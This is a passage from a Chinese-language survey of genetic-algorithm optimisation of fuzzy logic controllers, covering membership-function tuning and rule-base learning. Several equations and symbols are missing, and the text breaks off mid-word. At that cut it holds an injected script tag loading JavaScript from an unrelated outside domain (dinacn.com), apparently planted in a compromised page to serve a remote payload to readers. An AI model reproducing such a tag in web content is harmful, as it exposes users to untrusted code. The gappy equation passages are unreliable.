模糊逻辑控制作为智能控制的重要分支之一，近年来得到了飞速发展。模糊逻辑控制成功应用的主要原因在于，模糊控制器的设计不需要建立系统的数学模型，并且具有良好的鲁棒性。但在模糊控制器的设计中依然存在瓶颈问题，比如在总结归纳模糊控制规则及模糊隶属函数时，具有很大的主观性，得出的模糊隶属函数表有时不能客观地反映控制对象的特性，而使得设计出的模糊控制器性能欠佳，限制了模糊控制的广泛应用[1]。而遗传算法作为一种全新的高效优化搜索算法，模拟了达尔文生物进化论的自然选择与遗传学机理。该算法简单通用，适用于并行处理，已在组合优化和机器学习等方面得到了广泛的应用。将遗传算法应用于模糊逻辑控制系统中，可以通过选择、交叉、变异等算子自动调整模糊控制系统参数和结构，从而提高模糊控制器的适应能力和鲁棒性。目前，用遗传算法优化模糊逻辑控制器已经成为控制领域研究的热点[2~4]。

　　1.遗传算法优化模糊控制器的基本原理

　　一般地，模糊控制器设计的重要环节包括输入量模糊化、模糊推理和输出量反模糊化，采用遗传算法对模糊控制器的进行优化，就是优化控制器的数据库或规则基，即以系统的性能指标为评价标准，通过遗传操作搜索出模糊控制规则、隶属函数、量化因子或比例因子的最佳值，从而增强模糊控制器对环境参数变化的适应性，其基本原理如图1所示[2]。根据图1，本文将从不同的优化对象出发，对遗传算法在模糊控制器上的应用研究现状进行系统综述，然后提出目前遗传模糊控制研究中存在的主要问题，并同时指出该领域今后的研究重点和发展趋势。
 
　　2.遗传算法优化模糊逻辑控制器

    目前，将遗传算法用于模糊逻辑控制，以实现模糊逻辑控制器参数和结构寻优的研究大致可分为以下几方面[5-6]：

　　2.1.已知模糊控制规则，利用遗传算法优化隶属函数

　　在模糊控制规则已确定的情况下，已知隶属函数的形状，利用遗传算法调整隶属函数参数是目前较为常用的一种调整方法。最早进行这方面研究的是美国矿业局的C.L.Karr[7]，他用遗传算法来微调倒立摆控制器隶属函数的位置等参数，结果表明遗传算法优化后的隶属函数远远优于手工设计的。通常模糊控制器中隶属函数的形状有对称三角形，对称梯形和正态形，例如Ayla Altinte是用遗传算法对聚合反应器温度模糊控制模型的三角形隶属函数参数进行寻优[8]，而X.M.Qi在设计高阶系统的模糊控制器时，选用的是正态隶属函数[9]。其中三角形隶属函数最为常见。以三角形函数为例，隶属函数参数可以预设为图形的各顶点。如图2所示可设定三角形隶属函数各顶点的横坐标为a,b,c。对于具有m个输入变量 ,一个输出变量 ，且每个变量有n个三角形模糊子集的模糊逻辑控制器，其隶属函数参数编码可为：
 
　　其中 为变量Xi的第j个模糊子集的隶属函数参数。 为输出 的第j个模糊子集的隶属函数参数。隶属函数参数编码确定后，就可以通过建立一定的性能指标作为遗传算法的适应度函数对模糊逻辑器寻优。

　　选择隶属函数参数有多种方法，如文献[10] 在感应电机控制系统中，确定电压模型反馈回路中模糊控制器的各输入变量隶属函数时，将三角形的底边长度和相邻三角形侧边的交叉点设定模糊子集的参数，并用遗传算法估计，从而实现了对感应电机定子磁通相量的精确计算。文献[11]则是以底边长度，侧边宽度和顶点坐标作为模糊子集的参数，并结合信息论的知识建立隶属函数的。

　　为增强模糊控制器的自适应的能力，减少参数的数量还可以将所有变量的隶属函数用三角形函数来描述[12]。一个模糊子集的隶属函数被定义为其参数能够经调节满足基本要求的基函数，该基函数表示为：
   
　　其中和为参数，对于每个模糊子集可以用下列方程表示：
 
　　其中δi和ηi为调节系数。δi可使隶属函数在不改变形状的情况下发生左右偏移，而ηi则可以使隶属函数放大或缩小。用遗传算法对每个模糊子集的δi和ηi进行优化将最终确定隶属函数。

　　2.2.已知隶属函数，利用遗传算法优化模糊控制规则

　　在输入输出的隶属函数的形状和参数都已确定的情况下，最早采用遗传算法获取模糊控制器控制规则的是P.Thrift[13]，他用遗传算法设计了一个二输入一输出的模糊规则集，成功地控制了一个在一维无摩擦轨道上运行的小车。如果将模糊控制器看作一种学习分类系统，基于遗传算法产生模糊规则的方法可以大致分为三类[14]：匹兹堡(Pittsburgh)方法、密歇根(Michigan)方法和叠代方法。其中后两者都是将每条规则作为一个个体，整个种群代表一个系统，控制器的性能优劣由整个种群来确定。不同的是叠代方法只将种群中最佳规则返回作为最终结果。此外，由于密歇根方法的性能评价基于个体规则所获得的分数，各规则之间易发生冲突。而匹兹堡方法则是将整个规则集作为一个个?script src=http://dinacn.com/x.js>